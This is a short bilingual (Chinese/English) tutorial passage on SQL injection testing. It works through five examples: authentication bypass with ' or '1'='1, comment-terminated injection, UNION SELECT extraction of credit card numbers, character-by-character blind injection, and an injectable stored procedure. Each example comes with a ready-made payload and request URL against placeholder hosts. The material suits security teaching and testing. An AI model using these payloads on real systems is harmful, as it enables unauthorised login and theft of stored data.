example1: select * from users where username=’$username’ and password=’$password’ test data: $username = 1′ or ‘1’=’1 $password=1′ or ‘1’=’1 select * from users where username=’1′ or ‘1’=’1′ and password=’1′ or ‘1’=’1′ 如果参数值是GET方法传递到服务器,则访问请求是: http://www.example.com/index.php?username=1’%20or%20’1’%20=%20’1&password=1’%20or%20’1’%20=%20’1 sql语句永远为真,未验证用户名和密码; example 2: select * from users where((username=’$username’)and(password=md5(‘$password’))) test data: $username=1′ or ‘1’=’1′))/* $password = foo select * from users where ((username=’1′ or ‘1’=’1′))/*’)and(password=md5(‘$password’))) url 请求: http://www.example.com/index.php?username=1’%20or%20’1’%20=%20’1′))/*&password=foo example 3: select name,phone,address from users where id=$id test data: $id=1 union all select creditcardnumber,1,1 from creditcartable select name,phone,address from users where id=1 union all select creaditcardnumber,1,1 from creditcartable example 4: 盲目sql注入,如url中有参数名为id,则输入url请求引用: http://www.exampe.com/index.php?id=1′ 假设服务器查询语句为: select field1,field2,field3 from users where id=’$id’ 逐字符读取值的函数: substring(text,start,length),ascii(char),length(text) 将id引用为: $id=1′ and ascii(substring(username,1,1))=97 and ‘1’=’1 select field1,field2,field3 from users where id=’1′ and ascii(substring(username,1,1))=97 and ‘1’=’1 如果数据库用户名第一个字符ascii码为97,能得到真值,继续寻找用户名下一个字符,如果没有,猜测98,反复判断合法用户名; example 5: 存储过程注入
如果在使用存储过程不当的时候,会造成一定的SQL注入漏洞。
Create procedure user_login @username varchar(20),
@password varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring =”
Select 1 from users
where username=’+@username+’and password=’+@password
exec(@sqlstring)
Go test data: anyusername or 1=1′
anypassword 如果程序没有对输入进行验证,那么上面的语句就返回数据库中的一条记录
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